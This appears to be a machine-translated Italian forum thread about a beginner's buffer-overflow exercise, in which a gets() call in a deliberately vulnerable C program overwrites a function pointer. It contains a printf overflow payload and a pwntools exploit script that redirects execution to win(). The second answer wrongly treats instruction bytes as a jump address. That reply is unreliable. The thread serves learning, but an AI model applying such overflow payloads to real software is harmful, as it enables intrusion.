Traboccando il buffer ancora non saltando all'indirizzo

2

Sono un principiante durante il buffer overflow studiato da questo argomento da alcuni giorni e ho trovato questo esercizio (codice da: qui )

Penso che comprenda il concetto di base scrivo più di 64 byte di caratteri e la funzione gets trabocca il prossimo indirizzo nello stack perché non può determinare la lunghezza dei miei caratteri e sovrascrivo il prossimo indirizzo con una posizione di mia scelta che il esp esegue io ho ragione?

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
  printf("calling function pointer, jumping to 0x%08x\n", fp);
  fp();
}
}

Seguendo il codice, utilizzo il comando printf nel terminale

printf "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqbqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq\xca\x06" | ./ex3

ottengo il segfault che dovrei e il printf nel programma mi mostra che sto sovrascrivendo con l'indirizzo corretto

(gdb) x win
0x6ca <win>:    0xe5894855

terminale:

calling function pointer, jumping to 0x000006ca
Segmentation fault
    
posta Nikolay Atanasov 05.07.2018 - 18:58
fonte

2 risposte

0

I think understand the basic concept i write more than 64 bytes characters and the gets function overflows the next address on the stack because it cannot determine the length of my chars and i overwrite the next address with a location of my choice which the esp executes am i right ?

Non esattamente! ESP non esegue il tuo shellcode ( ESP è solo un registro a 32 bit ), ma punta a questo, quindi controllando EIP e fai in modo che punti ad es. L'indirizzo di istruzione jmp esp consente di accedere facilmente alla posizione dello shellcode nello stack ed eseguirlo. Nel tuo caso non hai bisogno di fare il punto EIP su un'istruzione jmp esp ma con l'indirizzo della funzione win .

Quindi assumendo che l'obiettivo dell'esercizio sia cercare di modificare il flusso di controllo del programma per fare in modo che la funzione win() venga eseguita anche se non è chiamata in main. La prima cosa da fare è determinare l'offset esatto necessario per poter controllare il registro EIP. Per fare ciò hai bisogno di un debugger come gdb . Suggerisco anche gdb-peda che automatizza molte cose utili come la creazione di pattern, ecc ...

Quindi puoi usarlo per sovrasfruttare il buffer e reindirizzare il flusso di controllo a win() . Supponendo che aslr sia disabilitato puoi facilmente trovare l'indirizzo di win usando gdb. Quindi puoi costruire il tuo exploit ( ho usato python ) come segue:

#!/usr/bin/env python

from pwn import *

offset = 64                  # offset to control EIP
ret_address = p32(0x40057d)  # address of win() packed for x86 archs

payload = "A" * offset + ret_address  # final payload

p = process('./test')  # execute the test binary
p.sendline(payload)    # send our payload
print p.recv()         # get the output

Nel frammento di codice precedente ho usato pwntools per rendere più semplice l'interazione con il binario, ma puoi fare la stessa cosa senza utilizzare alcun modulo esterno.

Note:

  • Ho provato il codice sopra sul sistema x86-bit, ma puoi facilmente modificarlo per lavorare anche con x64 bit.
  • Inoltre, l'indirizzo della funzione win () sarà probabilmente diverso da quello che ho postato.
  • Per semplicità suppongo che aslr sia disabilitato.
risposta data 05.07.2018 - 20:33
fonte
1

Prova invece a saltare a 0xe5894855 . Il 0x06ca migth è solo un puntatore.

    
risposta data 05.07.2018 - 20:30
fonte